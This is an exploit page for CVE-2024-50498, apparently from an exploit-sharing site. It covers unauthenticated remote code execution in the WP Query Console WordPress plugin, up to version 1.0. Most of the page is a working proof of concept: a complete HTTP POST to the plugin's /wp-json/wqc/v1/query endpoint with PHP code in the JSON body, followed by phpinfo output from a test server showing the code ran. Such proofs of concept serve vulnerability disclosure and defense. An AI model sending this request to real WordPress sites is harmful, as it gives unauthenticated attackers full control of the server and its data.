# CVE-2024-50498 WP Query Console <= 1.0 - Unauthenticated Remote Code Execution # Description: The WP Query Console plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0. This makes it possible for unauthenticated attackers to execute code on the server. root@kitploit:~ Published: 2024-10-25 00:00:00 CVE: CVE-2024-50498 CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Score: 9.8 Slugs: wp-query-console ## POC root@kitploit:~ POST /wp-json/wqc/v1/query HTTP/1.1 Host: kubernetes.docker.internal User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-query-console Content-Type: application/json Content-Length: 45 Origin: http://kubernetes.docker.internal Connection: keep-alive Priority: u=0 {"queryArgs":"phpinfo();","queryType":"post"} root@kitploit:~ phpinfo()

PHP Version 7.2.1

System	Linux c8f7463d8746 6.10.4-linuxkit #1 SMP Wed Oct 2 16:38:00 UTC 2024 x86_64
Build Date	Jan 8 2018 23:25:46
Configure Command	'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--disable-cgi' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' 'build_alias=x86_64-linux-gnu'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php
Loaded Configuration File	(none)
Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
Additional .ini files parsed	/usr/local/etc/php/conf.d/docker-php-ext-gd.ini, /usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini, /usr/local/etc/php/conf.d/docker-php-ext-opcache.ini, /usr/local/etc/php/conf.d/opcache-recommended.ini, /usr/local/etc/php/conf.d/uploads.ini
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,NTS
PHP Extension Build	API20170718,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib., convert.iconv., string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk

Query Builder